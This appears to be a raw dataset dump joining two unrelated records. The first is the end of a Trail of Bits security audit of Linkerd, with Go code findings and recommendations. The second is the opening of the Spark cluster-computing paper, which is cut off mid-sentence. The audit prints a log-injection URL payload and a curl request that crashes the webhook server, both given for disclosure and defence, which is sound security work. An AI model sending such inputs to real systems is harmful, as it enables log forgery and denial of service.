\\n We could not determine the severity of all of the unhandled errors detected in the \\n codebase. \\n E x p l oi t S c e n a r i o \\n While an operator of the Linkerd infrastructure interacts with the system, an uncaught \\n error occurs. Due to the lack of error reporting, the operator is unaware that the operation \\n did not complete successfully, and he produces further undefined behavior. \\n T r a i l o f B i t s 11 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n R e c om m e n d a t i on s \\n Short term, run gosec and errcheck across the codebase. Resolve all issues pertaining to \\n unhandled errors by checking them explicitly. \\n Long term, ensure that all functions that return errors have explicit checks for these errors. \\n Consider integrating the abovementioned tooling into the CI/CD pipeline to prevent \\n undefined behavior from occurring in the affected code paths. \\n T r a i l o f B i t s 12 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n 2 . T h e u s e o f t i m e . A f t e r ( ) i n s e l e c t s t a t e m e n t s c a n l e a d t o m e m o r y l e a k s \\n Severity: Low Difficulty: High \\n Type: Timing Finding ID: TOB-LNKD-2 \\n Target: cli/cmd/metrics_diagnostics_util.go \\n D e s c r i p t i on \\n Calls to time.After in for/select statements can lead to memory leaks because the \\n garbage collector does not clean up the underlying Timer object until the timer fires. A new \\n timer, which requires resources, is initialized at each iteration of the for loop (and, hence, \\n the select statement). As a result, many routines originating from the time.After call \\n could lead to overconsumption of the memory. \\n wait: \\n for { \\n select { \\n case result := <-resultChan: \\n results = append (results, result) \\n case <-time.After(waitingTime): \\n break wait // timed out \\n } \\n if atomic.LoadInt32(&activeRoutines) == 0 { \\n break \\n } \\n } \\n Figure 2.1: cli/cmd/metrics_diagnostics_util.go#L131-L142 \\n R e c om m e n d a t i on s \\n Short term, consider refactoring the code that uses the time.After function in \\n for/select loops using tickers. This will prevent memory leaks and crashes caused by \\n memory exhaustion. \\n Long term, ensure that the time.After method is not used in for/select routines. \\n Periodically use the Semgrep query to check for and detect similar patterns. \\n R e f e r e n c e s \\n ● Use with caution time.After Can cause memory leak (golang) \\n ● Golang <-time.After() is not garbage collected before expiry \\n T r a i l o f B i t s 13 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n 3 . U s e o f s t r i n g . Con t a i n s i n s t e a d o f s t r i n g . H a s P r e fi x t o c h e c k f o r p r e fi x e s \\n Severity: Undetermined Difficulty: Undetermined \\n Type: Data Validation Finding ID: TOB-LNKD-3 \\n Target: multicluster/service-mirror/events_formatting.go \\n D e s c r i p t i on \\n When formatting event metadata, the formatMetadata method checks whether a given \\n string in the metadata map contains a given prefix. However, rather than using \\n string.HasPrefix to perform this check, it uses string.Contains , which returns true \\n if the given prefix string is located anywhere in the target string. \\n for k, v := range meta { \\n if strings.Contains(k, consts.Prefix) || strings.Contains(k, \\n consts.ProxyConfigAnnotationsPrefix) { \\n metadata = append(metadata, fmt.Sprintf(\\\"%s=%s\\\", k, v)) \\n } \\n } \\n Figure 3.1: multicluster/service-mirror/events_formatting.go#L23-L27 \\n R e c om m e n d a t i on s \\n Short term, refactor the prefix checks to use string.HasPrefix rather than \\n string.Contains . This will ensure that prefixes within strings are properly validated. \\n T r a i l o f B i t s 14 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n 4 . R i s k o f r e s ou r c e e x h a u s t i on d u e t o t h e u s e o f d e f e r i n s i d e a l o o p \\n Severity: Informational Difficulty: High \\n Type: Denial of Service Finding ID: TOB-LNKD-4 \\n Target: pkg/healthcheck/healthcheck.go \\n D e s c r i p t i on \\n The runCheck function, responsible for performing health checks for various services, \\n performs its core functions inside of an infinite for loop. runCheck is called with a timeout \\n stored in a context object. The cancel() function is deferred at the beginning of the \\n loop. Calling defer inside of a loop could cause resource exhaustion conditions because \\n the deferred function is called when the function exits, not at the end of each loop. As a \\n result, resources from each context object are accumulated until the end of the for \\n statement. While this may not cause noticeable issues in the current state of the the \\n application, it is best to call cancel() at the end of each loop to prevent unforeseen \\n issues. \\n func (hc *HealthChecker) runCheck(category *Category, c *Checker, observer CheckObserver) \\n bool { \\n for { \\n ctx, cancel := context.WithTimeout(context.Background(), RequestTimeout) \\n defer cancel() \\n err := c.check(ctx) \\n if se, ok := err.(*SkipError); ok { \\n log.Debugf( \\\"Skipping check: %s. Reason: %s\\\" , c.description, se.Reason) \\n return true \\n } \\n Figure 4.1: pkg/healthcheck/healthcheck.go#L1619-L1628 \\n R e c om m e n d a t i on s \\n Short term, rather than deferring the call to cancel() , add a call to cancel() at the end \\n of the loop. \\n T r a i l o f B i t s 15 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n 5 . L a c k o f m a x i m u m r e q u e s t a n d r e s p o n s e b o d y c o n s t r a i n t \\n Severity: Informational Difficulty: High \\n Type: Denial of Service Finding ID: TOB-LNKD-5 \\n Target: Various APIs \\n D e s c r i p t i on \\n The ioutil.ReadAll function reads from source until an error or an end-of-file (EOF) \\n condition occurs, at which point it returns the data that it read. There is no limit on the \\n maximum size of request and response bodies, so using ioutil.ReadAll to parse \\n requests and responses could cause a denial of service (due to insufficient memory). A \\n denial of service could also occur if an exhaustive resource is loaded multiple times. This \\n method is used in the following locations of the codebase: \\n File Purpose \\n controller/heartbeat/heartbeat.go:239 Reads responses for heartbeat requests \\n pkg/profiles/openapi.go:32 Reads the body of file for the profile \\n command \\n pkg/version/channels.go:83 Reads responses from requests for \\n obtaining Linkerd versions \\n controller/webhook/server.go:124 Reads requests for the webhook and \\n metrics servers \\n pkg/protohttp/protohttp.go:48 Reads all requests sent to the metrics \\n and TAP APIs \\n pkg/protohttp/protohttp.go:170 Reads error responses from the metrics \\n and TAP APIs \\n In the case of pkg/protohttp/protohttp.go , the readAll function can be called to \\n read POST requests, making it easier for an attacker to exploit the misuse of the ReadAll \\n function. \\n R e c om m e n d a t i on s \\n Short term, place a limit on the maximum size of request and response bodies. For \\n example, this limitation can be implemented by using the io.LimitReader function. \\n T r a i l o f B i t s 16 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n Long term, place limits on request and response bodies globally in other places within the \\n application to prevent denial-of-service attacks. \\n T r a i l o f B i t s 17 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n 6 . P o t e n t i a l g or ou t i n e l e a k i n K u b e r n e t e s p o r t - f o r w a r d i n g i n i t i a l i z a t i o n l o g i c \\n Severity: Informational Difficulty: High \\n Type: Denial of Service Finding ID: TOB-LNKD-6 \\n Target: pkg/healthcheck/healthcheck.go \\n D e s c r i p t i on \\n The Init function responsible for initializing port-forwarding connections for Kubernetes \\n causes a goroutine leak when connections succeed. This is because the failure channel \\n in the Init function is set up as an unbuffered channel. Consequently, the failure \\n channel blocks the execution of the anonymous goroutine in which it is used unless an \\n error is received from pf.run() . Whenever a message indicating success is received by \\n readChan , the Init function returns without first releasing the resources allocated by the \\n anonymous goroutine, causing those resources to be leaked. \\n func (pf *PortForward) Init() error { \\n // (...) \\n failure := make ( chan error ) \\n go func () { \\n if err := pf.run(); err != nil { \\n failure <- err \\n } \\n }() \\n // (...)` \\n select { \\n case <-pf.readyCh: \\n log.Debug( \\\"Port forward initialised\\\" ) \\n case err := <-failure: \\n log.Debugf( \\\"Port forward failed: %v\\\" , err) \\n return err \\n } \\n Figure 6.1: pkg/k8s/portforward.go#L200-L220 \\n R e c om m e n d a t i on s \\n Short term, make the failure channel a buffered channel of size 1 . That way, the \\n goroutine will be cleaned and destroyed when the function returns regardless of which \\n case occurs first. \\n Long term, run GCatch against goroutine-heavy packages to detect the mishandling of \\n channel bugs. Refer to Appendix C for guidance on running GCatch. Basic instances of this \\n issue can also be detected by running this Semgrep rule . \\n T r a i l o f B i t s 18 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n 7 . R i s k o f l og i n j e c t i on i n T A P s e r v i c e A P I \\n Severity: Low Difficulty: High \\n Type: Auditing and Logging Finding ID: TOB-LNKD-7 \\n Target: viz/tap/api/handlers.go \\n D e s c r i p t i on \\n Requests sent to the TAP service API endpoint, /apis/tap , via the POST method are \\n handled by the handleTap method. This method parses a namespace and a name \\n obtained from the URL of the request. Both the namespace and name variables are then \\n used in a log statement for printing debugging messages to standard output. Because both \\n fields are user controllable, an attacker could perform log injection attacks by calling such \\n API endpoints with a namespace or name with newline indicators, such as \\\\n . \\n func (h *handler) handleTap(w http.ResponseWriter, req *http.Request, p httprouter.Params) { \\n namespace := p.ByName( \\\"namespace\\\" ) \\n name := p.ByName( \\\"name\\\" ) \\n resource := \\\"\\\" \\n // (...) \\n h.log.Debugf( \\\"SubjectAccessReview: namespace: %s, resource: %s, name: %s, user: <%s>, \\n group: <%s>\\\" , \\n namespace, resource, name, h.usernameHeader, h.groupHeader, \\n ) \\n Figure 7.1: viz/tap/api/handlers.go#L106-L125 \\n E x p l oi t S c e n a r i o \\n An attacker submits a POST request to the TAP service API using the URL \\n /apis/tap.linkerd.io/v1alpha1/watch/myns\\\\nERRO[0000]/tap , causing invalid logs to be printed and tricking an operator into falsely \\n believ ing there is a failure. \\n R e c om m e n d a t i on s \\n Short term, ensure that all user-controlled input is sanitized before it is used in the logging \\n function. Additionally, use the format specifier %q instead of %s to prompt Go to perform \\n basic sanitation of strings. \\n T r a i l o f B i t s 19 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n 8 . T L S c on fi g u r a t i on d oe s n o t e n f or c e m i n i m u m T L S v e r s i o n \\n Severity: Low Difficulty: High \\n Type: Configuration Finding ID: TOB-LNKD-8 \\n Targets: controller\\\\webhook\\\\server.go , viz\\\\tap\\\\api\\\\sever.go \\n D e s c r i p t i on \\n Transport Layer Security (TLS) is used in multiple locations throughout the codebase. In two \\n cases, TLS configurations do not have a minimum version requirement, allowing \\n connections from TLS 1.0 upwards. This may leave the webhook and TAP API servers \\n vulnerable to protocol downgrade and man-in-the-middle attacks. \\n // NewServer returns a new instance of Server \\n func NewServer( \\n ctx context.Context, \\n api *k8s.API, \\n addr, certPath string, \\n handler Handler, \\n component string, \\n ) (*Server, error) { \\n [...] \\n server := &http.Server{ \\n Addr: addr, \\n TLSConfig: &tls.Config{}, \\n } \\n Figure 8.1: controller/webhook/server.go#L43-L64 \\n // NewServer creates a new server that implements the Tap APIService. \\n func NewServer( \\n ctx context.Context, \\n addr string, \\n k8sAPI *k8s.API, \\n grpcTapServer pb.TapServer, \\n disableCommonNames bool, \\n ) (*Server, error) { \\n [...] \\n httpServer := &http.Server{ \\n Addr: addr, \\n TLSConfig: &tls.Config{ \\n ClientAuth: tls.VerifyClientCertIfGiven, \\n ClientCAs: clientCertPool, \\n }, \\n } \\n Figure 8.2: viz/tap/api/sever.go#L34-L76 \\n T r a i l o f B i t s 20 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n E x p l oi t S c e n a r i o \\n Due to the lack of minimum TLS version enforcement, certain established connections lack \\n sufficient authentication and cryptography. These connections do not protect against \\n man-in-the-middle attacks. \\n R e c om m e n d a t i on s \\n Short term, review all TLS configurations and ensure the MinVersion field is set to require \\n connections to be TLS 1.2 or newer. \\n Long term, ensure that all TLS configurations across the codebase enforce a minimum \\n version requirement and employ verification where possible. \\n T r a i l o f B i t s 21 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n 9 . N i l d e r e f e r e n c e s i n t h e w e b h ook s e r v e r \\n Severity: Informational Difficulty: High \\n Type: Data Validation Finding ID: TOB-LNKD-9 \\n Target: controller/webhook/server.go \\n D e s c r i p t i on \\n The webhook server’s processReq function, used for handling admission review requests, \\n does not properly validate request objects. As a result, malformed requests result in nil \\n dereferences, which cause panics on the server. \\n If the server receives a request with a body that cannot be decoded by the decode \\n function, shown below, an error is returned, and a panic is triggered when the system \\n attempts to access the Request object in line 154. A panic could also occur if request is \\n decoded successfully into an AdmissionReview object with a missing Request property. \\n In such case, the panic would be triggered in line 162. \\n 149 func (s *Server) processReq(ctx context.Context, data [] byte ) \\n *admissionv1beta1.AdmissionReview { \\n 150 admissionReview, err := decode(data) \\n 151 if err != nil { \\n 152 log.Errorf( \\\"failed to decode data. Reason: %s\\\" , err) \\n 153 admissionReview.Response = &admissionv1beta1.AdmissionResponse{ \\n 154 UID: admissionReview.Request.UID , \\n 155 Allowed: false , \\n 156 Result: &metav1.Status{ \\n 157 Message: err.Error(), \\n 158 }, \\n 159 } \\n 160 return admissionReview \\n 161 } \\n 162 log.Infof( \\\"received admission review request %s\\\" , \\n admissionReview.Request.UID ) \\n 163 log.Debugf( \\\"admission request: %+v\\\" , admissionReview.Request) \\n Figure 9.1: controller/webhook/server.go#L149-L163 \\n We tested the panic by getting a shell on a container running in the application namespace \\n and issuing the request in figure 9.2. However, the Go server recovers from the panics \\n without negatively impacting the application. \\n T r a i l o f B i t s 22 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n curl -i -s -k -X $'POST' -H $'Host: 10.100.137.130:443' -H $'Accept: */*' -H \\n $'Content-Length: 6' --data-binary $'aaaaaa' $'https://10.100.137.130:443/inject/test \\n Figure 9.2: The curl request that causes a panic \\n R e c om m e n d a t i on s \\n Short term, add checks to verify that request objects are not nil before and after they are \\n decoded. \\n Long term, run the invalid-usage-of-modified-variable rule from the Trail of Bits \\n set of Semgrep rules in the CI/CD pipeline to detect this type of bug. \\n T r a i l o f B i t s 23 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n A . V u l n e r a b i l i t y Ca t e g o r i e s \\n The following tables describe the vulnerability categories, severity levels, and difficulty \\n levels used in this document. \\n Vulnerability Categories \\n Category Description \\n Access Controls Insufficient authorization or assessment of rights \\n Auditing and Logging Insufficient auditing of actions or logging of problems \\n Authentication Improper identification of users \\n Configuration Misconfigured servers, devices, or software components \\n Cryptography A breach of system confidentiality or integrity \\n Data Exposure Exposure of sensitive information \\n Data Validation Improper reliance on the structure or values of data \\n Denial of Service A system failure with an availability impact \\n Error Report ing Insecure or insufficient reporting of error conditions \\n Patching Use of an outdated software package or library \\n Session Management Improper identification of authenticated users \\n Testing Insufficient test methodology or test coverage \\n Timing Race conditions or other order-of-operations flaws \\n Undefined Behavior Undefined behavior triggered within the system \\n T r a i l o f B i t s 24 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n Severity Levels \\n Severity Description \\n Inform ational The issue does not pose an immediate risk but is relevant to security best \\n practices. \\n Undetermined The extent of the risk was not determined during this engagement. \\n Low The risk is small or is not one the client has indicated is important. \\n Medium User information is at risk; exploitation could pose reputational, legal, or \\n moderate financial risks. \\n High The flaw could affect numerous users and have serious reputational, legal, \\n or financial implications. \\n Difficulty Levels \\n Difficulty Description \\n Undetermined The difficulty of exploitation was not determined during this engagement. \\n Low The flaw is well known; public tools for its exploitation exist or can be \\n scripted. \\n Medium An attacker must write an exploit or will need in-depth knowledge of the \\n system. \\n High An attacker must have privileged access to the system, may need to know \\n complex technical details, or must discover other weaknesses to exploit this \\n issue. \\n T r a i l o f B i t s 25 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n B . Co d e Q u a l i t y F i n d i n g s \\n This appendix lists code quality findings that we identified through a manual review. \\n Typo in the filename viz/tap/api/sever.go . The word “sever” should be “server.” \\n Use of fmt.Sprintf instead of net.JoinHostPort . In locations in which host names \\n and port numbers are joined for a target URI, fmt.Sprintf calls are used to format the \\n message instead of net.JoinHostPort . \\n ● controller/api/destination/profile_translator.go#L120 \\n ● controller/api/destination/server.go#L471 \\n ● controller/api/destination/watcher/endpoints_watcher.go ( #L753 , \\n #L813 ) \\n ● controller/api/destination/watcher/k8s.go#L96 \\n Redundant error handling in various methods. Various methods check whether an error \\n is nil before returning it; however, continuing down the code path returns a nil . Instead, \\n these methods could return the error whether it is nil or not. \\n ● jaeger/cmd/check.go#L76-L79 \\n ● multicluster/service-mirror/cluster_watcher.go#L1026-L1030 \\n ● pkg/healthcheck/healthcheck.go#L1510-L1514 \\n ● viz/cmd/tap.go#L306-L310 \\n ● viz/pkg/healthcheck/healthcheck.go#L244-L248 \\n T r a i l o f B i t s 26 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n C . R u n n i n g G Ca t c h \\n This appendix explains how to use GCatch , a tool that automatically detects concurrency \\n bugs in Go. It also includes relevant output generated by GCatch when it is run over Linkerd \\n (figure B.1). We omitted from the figure any output pertaining to packages in which no \\n issues were detected and to packages that did not compile. Additionally, we replaced the \\n prefix of the package paths ( / home/vagrant/go/src/github.com/linkerd ) with \\n \\\" $LINKERD \\\" in the figure. \\n To run GCatch over the Linkerd project, take the following steps: \\n 1. Clone the GCatch project as a Go package. For example, if your Go root directory \\n were ~/go, you would clone the repository to the following package: \\n ~/go/src/github.com/system-pclub/GCatch . \\n 2. Go to the GCatch/GCatch directory and run Installz3.sh and install.sh . \\n 3. Install the project in the Go root directory and enter the project directory \\n ( ~/go/src/github.com/linkerd/linkerd2 ). \\n 4. Run GCatch by using the following command: \\n GCatch -path=\\\"$(pwd)\\\" -include=github.com/linkerd/$REPO \\n -checker=BMOC:unlock:double:conflict:structfield:fatal -r \\n -compile-error . \\n ----------Bug[1]---------- \\n Type: BMOC Reason: One or multiple channel operation is blocked. \\n -----Blocking at: \\n File: /$LINKERD/k8s/portforward.go:207 \\n -----Path NO. 0 Entry func at: (*github.com/linkerd/linkerd2/pkg/k8s.PortForward).Init \\n Call :/$LINKERD/k8s/portforward.go:201:12 '✓' \\n ChanMake :/$LINKERD/k8s/portforward.go:203:17 '✓' \\n Go :/$LINKERD/k8s/portforward.go:205:2 '✓' \\n Select :/$LINKERD/k8s/portforward.go:214:2 '✓' \\n Select_case :/$LINKERD/k8s/portforward.go:214:2 '✓' \\n Call :/$LINKERD/k8s/portforward.go:216:12 '✓' \\n Return :/$LINKERD/k8s/portforward.go:222:2 '✓' \\n -----Blocking Path NO. 1 \\n Call :/$LINKERD/k8s/portforward.go:206:19 '✓' \\n If :/$LINKERD/k8s/portforward.go:206:27 '✓' \\n Chan_op :/$LINKERD/k8s/portforward.go:207:12 Blocking \\n Jump :/$LINKERD/k8s/portforward.go:207:12 '✗' \\n Return :/$LINKERD/k8s/portforward.go:207:12 '✗' \\n Figure C.1: GCatch results for Linkerd \\n T r a i l o f B i t s 27 Linkerd Security Assessment \\n C O N F I D E N T I A L \\n\"\n }\n]"}}},{"rowIdx":39466,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"hotcloud_spark.pdf\",\n \"project_name\": \"Apache Mesos\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"Spark: Cluster Computing with Working Sets\nMatei Zaharia, Mosharaf Chowdhury, Michael J. Franklin, Scott Shenker, Ion Stoica\nUniversity of California, Berkeley\nAbstract\nMapReduce and its variants have been highly successful\nin implementing large-scale data-intensive applications\non commodity clusters. However, most of these systems\nare built around an acyclic data flow model that is not\nsuitable for other popular applications. This paper fo-\ncuses on one such class of applications: those that reuse\na working set of data across multiple parallel operations.\nThis includes many iterative machine learning algorithms,\nas well as interactive data analysis tools. We propose a\nnew framework called Spark that supports these applica-\ntions while retaining the scalability and fault tolerance of\nMapReduce. To achieve these goals, Spark introduces an\nabstraction called resilient distributed datasets (RDDs).\nAn RDD is a read-only collection of objects partitioned\nacross a set of machines that can be rebuilt if a partition\nis lost. Spark can outperform Hadoop by 10x in iterative\nmachine learning jobs, and can be used to interactively\nquery a 39 GB dataset with sub-second response time.\n1 Introduction\nA new model of cluster computing has become widely\npopular, in which data-parallel computations are executed\non clusters of unreliable machines by systems that auto-\nmatically provide locality-aware scheduling, fault toler-\nance, and load balancing. MapReduce [11] pioneered this\nmodel, while systems like Dryad [17] and Map-Reduce-\nMerge [24] generalized the types of data flows supported.\nThese systems achieve their scalability and fault tolerance\nby providing a programming model where the user creates\nacyclic data flow graphs to pass input data through a set of\noperators. This allows the underlying system to manage\nscheduling and to react to faults without user intervention.\nWhile this data flow programming model is useful for a\nlarge class of applications, there are applications that can-\nnot be expressed efficiently as acyclic data flows. In this\npaper, we focus on one such class of applications: those\nthat reuse a working set of data across multiple parallel\noperations. This includes two use cases where we have\nseen Hadoop users report that MapReduce is deficient:\n•Iterative jobs : Many common machine learning algo-\nrithms apply a function repeatedly to the same dataset\nto optimize a parameter (e.g., through gradient de-\nscent). While each iteration can be expressed as aMapReduce/Dryad job, each job must reload the data\nfrom disk, incurring a significant performance penalty.\n•Interactive analytics : Hadoop is often used to run\nad-hoc exploratory queries on large datasets, through\nSQL interfaces such as Pig [21] and Hive [1]. Ideally,\na user would be able to load a dataset of interest into\nmemory across a number of machines and query it re-\npeatedly. However, with Hadoop, each query incurs\nsignificant latency (tens of seconds) because it runs as\na separate MapReduce job and reads data from disk.\nThis paper presents a new cluster computing frame-\nwork called Spark, which supports applications with\nworking sets while providing similar scalability and fault\ntolerance properties to MapReduce.\nThe main abstraction in Spark is that of a resilient dis-\ntributed dataset (RDD), which represents a read-only col-\nlection of objects partitioned across a set of machines that\ncan be rebuilt if a partition is lost. Users can explicitly\ncache an RDD in memory across machines and reuse it\nin multiple MapReduce-like parallel operations . RDDs\nachieve fault tolerance through a notion of lineage : if a\npartition of an RDD is lost, the RDD has enough infor-\nmation about how it was derived from other RDDs to be\nable to rebuild just that partition. Although RDDs are\nnot a general shared memory abstraction, they represent\na sweet-spot between expressivity on the one hand and\nscalability and reliability on the other hand, and we have\nfound them well-suited for a variety of applications.\nSpark is implemented in Scala [5], a statically typed\nhigh-level programming language for the Java VM, and\nexposes a functional programming interface similar to\nDryadLINQ [25]. In addition, Spark can be used inter-\nactively from a modified version of the Scala interpreter,\nwhich allows the user to define RDDs, functions, vari-\nables and classes and use them in parallel operations on a\ncluster. We believe that Spark is the first system to allow\nan efficient, general-purpose programming language to be\nused interactively to process large datasets on a cluster.\nAlthough our implementation of Spark is still a proto-\ntype, early experience with the system is encouraging. We\nshow that Spark can outperform Hadoop by 10x in itera-\ntive machine learning workloads and can be used interac-\ntively to scan a 39 GB dataset with sub-second latency.\nThis paper is organized as follows. Section 2 describes\n1Spark’s programming model and RDDs. Section 3 shows\nsome example jobs. Section 4 describes our implemen-\ntation, including our integration into Scala and its inter-\npreter. Section 5 presents early results. We survey related\nwork in Section 6 and end with a discussion in Section 7.\n2 Programming Model\nTo use Spark, developers write a driver program that im-\nplements the high-level control flow of their application\nand launches various operations in parallel. Spark pro-\nvides two main abstractions for parallel programming:\nresilient distributed datasets andparallel operations on\nthese datasets (invoked by passing a function to apply on\na dataset). In addition, Spark supports two restricted types\nofshared variables that can be used in functions running\non the cluster, which we shall explain later.\n2.1 Resilient Distributed Datasets (RDDs)\nA resilient distributed dataset (RDD) is a read-only col-\nlection of objects partitioned across a set of machines that\ncan be rebuilt if a partition is lost. The elements of an\nRDD need not exist in physical storage; instead, a handle\nto an RDD contains enough information to compute the\nRDD starting from data in reliable storage. This means\nthat RDDs can always be reconstructed if nodes fail.\nIn Spark, each RDD is represented by a Scala object.\nSpark lets programmers construct RDDs in four ways:\n•From a filein a shared file system, such as the Hadoop\nDistributed File System (HDFS).\n•By“parallelizing” a Scala collection (e.g., an array)\nin the driver program, which means dividing it into a\nnumber of slices that will be sent to multiple nodes.\n•Bytransforming an existing RDD. A dataset with ele-\nments of type Acan be transformed into a dataset with\nelements of type Busing an operation called flatMap ,\nwhich passes each element through a user-provided\nfunction of type A⇒List [B].1Other transforma-\ntions can be expressed using flatMap , including map\n(pass elements through a function of type A⇒B)\nandfilter (pick elements matching a predicate).\n•By changing the persistence of an existing RDD. By\ndefault, RDDs are lazy and ephemeral. That is, par-\ntitions of a dataset are materialized on demand when\nthey are used in a parallel operation (e.g., by passing\na block of a file through a map function), and are dis-\ncarded from memory after use.2However, a user can\nalter the persistence of an RDD through two actions:\n–Thecache action leaves the dataset lazy, but hints\nthat it should be kept in memory after the first time\nit is computed, because it will be reused.\n1flatMap has the same semantics as the map in MapReduce, but map\nis usually used to refer to a one-to-one function of type A⇒Bin Scala.\n2This is how “distributed collections” function in DryadLINQ.–The save action evaluates the dataset and writes\nit to a distributed filesystem such as HDFS. The\nsaved version is used in future operations on it.\nWe note that our cache action is only a hint: if there is\nnot enough memory in the cluster to cache all partitions of\na dataset, Spark will recompute them when they are used.\nWe chose this design so that Spark programs keep work-\ning (at reduced performance) if nodes fail or if a dataset is\ntoo big. This idea is loosely analogous to virtual memory.\nWe also plan to extend Spark to support other levels of\npersistence (e.g., in-memory replication across multiple\nnodes). Our goal is to let users trade off between the cost\nof storing an RDD, the speed of accessing it, the proba-\nbility of losing part of it, and the cost of recomputing it.\n2.2 Parallel Operations\nSeveral parallel operations can be performed on RDDs:\n•reduce : Combines dataset elements using an associa-\ntive function to produce a result at the driver program.\n•collect : Sends all elements of the dataset to the driver\nprogram. For example, an easy way to update an array\nin parallel is to parallelize, map and collect the array.\n•foreach : Passes each element through a user provided\nfunction. This is only done for the side effects of the\nfunction (which might be to copy data to another sys-\ntem or to update a shared variable as explained below).\nWe note that Spark does not currently support a\ngrouped reduce operation as in MapReduce; reduce re-\nsults are only collected at one process (the driver).3We\nplan to support grouped reductions in the future using\na “shuffle” transformation on distributed datasets, as de-\nscribed in Section 7. However, even using a single re-\nducer is enough to express a variety of useful algorithms.\nFor example, a recent paper on MapReduce for ma-\nchine learning on multicore systems [10] implemented ten\nlearning algorithms without supporting parallel reduction.\n2.3 Shared Variables\nProgrammers invoke operations like map,filter andre-\nduce by passing closures (functions) to Spark. As is typi-\ncal in functional programming, these closures can refer to\nvariables in the scope where they are created. Normally,\nwhen Spark runs a closure on a worker node, these vari-\nables are copied to the worker. However, Spark also lets\nprogrammers create two restricted types of shared vari-\nables to support two simple but common usage patterns:\n•Broadcast variables : If a large read-only piece of data\n(e.g., a lookup table) is used in multiple parallel op-\nerations, it is preferable to distribute it to the workers\nonly once instead of packaging it with every closure.\nSpark lets the programmer create a “broadcast vari-\n3Local reductions are first performed at each node, however.\n2able” object that wraps the value and ensures that it is\nonly copied to each worker once.\n•Accumulators : These are variables that workers can\nonly “add” to using an associative operation, and that\nonly the driver can read. They can be used to im-\nplement counters as in MapReduce and to provide a\nmore imperative syntax for parallel sums. Accumu-\nlators can be defined for any type that has an “add”\noperation and a “zero” value. Due to their “add-only”\nsemantics, they are easy to make fault-tolerant.\n3 Examples\nWe now show some sample Spark programs. Note that we\nomit variable types because Scala supports type inference.\n3.1 Text Search\nSuppose that we wish to count the lines containing errors\nin a large log file stored in HDFS. This can be imple-\nmented by starting with a file dataset object as follows:\nval file = spark.textFile(\"hdfs://...\")\nval errs = file.filter(_.contains(\"ERROR\"))\nval ones = errs.map(_ => 1)\nval count = ones.reduce(_+_)\nWe first create a distributed dataset called file that\nrepresents the HDFS file as a collection of lines. We trans-\nform this dataset to create the set of lines containing “ER-\nROR” ( errs ), and then map each line to a 1 and add up\nthese ones using reduce . The arguments to filter,map and\nreduce are Scala syntax for function literals.\nNote that errs andones are lazy RDDs that are never\nmaterialized. Instead, when reduce is called, each worker\nnode scans input blocks in a streaming manner to evaluate\nones , adds these to perform a local reduce, and sends its\nlocal count to the driver. When used with lazy datasets in\nthis manner, Spark closely emulates MapReduce.\nWhere Spark differs from other frameworks is that it\ncan make some of the intermediate datasets persist across\noperations. For example, if wanted to reuse the errs\ndataset, we could create a cached RDD from it as follows:\nval cachedErrs = errs.cache()\nWe would now be able to invoke parallel operations on\ncachedErrs or on datasets derived from it as usual, but\nnodes would cache partitions of cachedErrs in memory\nafter the first time they compute them, greatly speeding\nup subsequent operations on it.\n3.2 Logistic Regression\nThe following program implements logistic regression\n[3], an iterative classification algorithm that attempts to\nfind a hyperplane wthat best separates two sets of points.\nThe algorithm performs gradient descent: it starts wat a\nrandom value, and on each iteration, it sums a function ofwover the data to move win a direction that improves it.\nIt thus benefits greatly from caching the data in memory\nacross iterations. We do not explain logistic regression in\ndetail, but we use it to show a few new Spark features.\n// Read points from a text file and cache them\nval points = spark.textFile(...)\n.map(parsePoint).cache()\n// Initialize w to random D-dimensional vector\nvar w = Vector.random(D)\n// Run multiple iterations to update w\nfor (i <- 1 to ITERATIONS) {\nval grad = spark.accumulator(new Vector(D))\nfor (p <- points) { // Runs in parallel\nval s = (1/(1+exp(-p.y *(w dot p.x)))-1) *p.y\ngrad += s *p.x\n}\nw -= grad.value\n}\nFirst, although we create an RDD called points , we\nprocess it by running a for loop over it. The for key-\nword in Scala is syntactic sugar for invoking the foreach\nmethod of a collection with the loop body as a closure.\nThat is, the code for(p <- points) {body }is equiv-\nalent to points.foreach(p => {body }). Therefore,\nwe are invoking Spark’s parallel foreach operation.\nSecond, to sum up the gradient, we use an accumulator\nvariable called gradient (with a value of type V ector ).\nNote that the loop adds to gradient using an overloaded\n+=operator. The combination of accumulators and for\nsyntax allows Spark programs to look much like impera-\ntive serial programs. Indeed, this example differs from a\nserial version of logistic regression in only three lines.\n3.3 Alternating Least Squares\nOur final example is an algorithm called alternating least\nsquares (ALS). ALS is used for collaborative filtering\nproblems, such as predicting users’ ratings for movies that\nthey have not seen based on their movie rating history (as\nin the Netflix Challenge). Unlike our previous examples,\nALS is CPU-intensive rather than data-intensive.\nWe briefly sketch ALS and refer the reader to [27] for\ndetails. Suppose that we wanted to predict the ratings of u\nusers for mmovies, and that we had a partially filled ma-\ntrixRcontaining the known ratings for some user-movie\npairs. ALS models Ras the product of two matrices M\nandUof dimensions m×kandk×urespectively; that\nis, each user and each movie has a k-dimensional “feature\nvector” describing its characteristics, and a user’s rating\nfor a movie is the dot product of its feature vector and the\nmovie’s. ALS solves for MandUusing the known rat-\nings and then computes M×Uto predict the unknown\nones. This is done using the following iterative process:\n1. Initialize Mto a random value.\n2. Optimize Ugiven Mto minimize error on R.\n33. Optimize Mgiven Uto minimize error on R.\n4. Repeat steps 2 and 3 until convergence.\nALS can be parallelized by updating different users /\nmovies on each node in steps 2 and 3. However, because\nall of the steps use R, it is helpful to make Ra broadcast\nvariable so that it does not get re-sent to each node on each\nstep. A Spark implementation of ALS that does is shown\nbelow. Note that we parallelize the collection 0 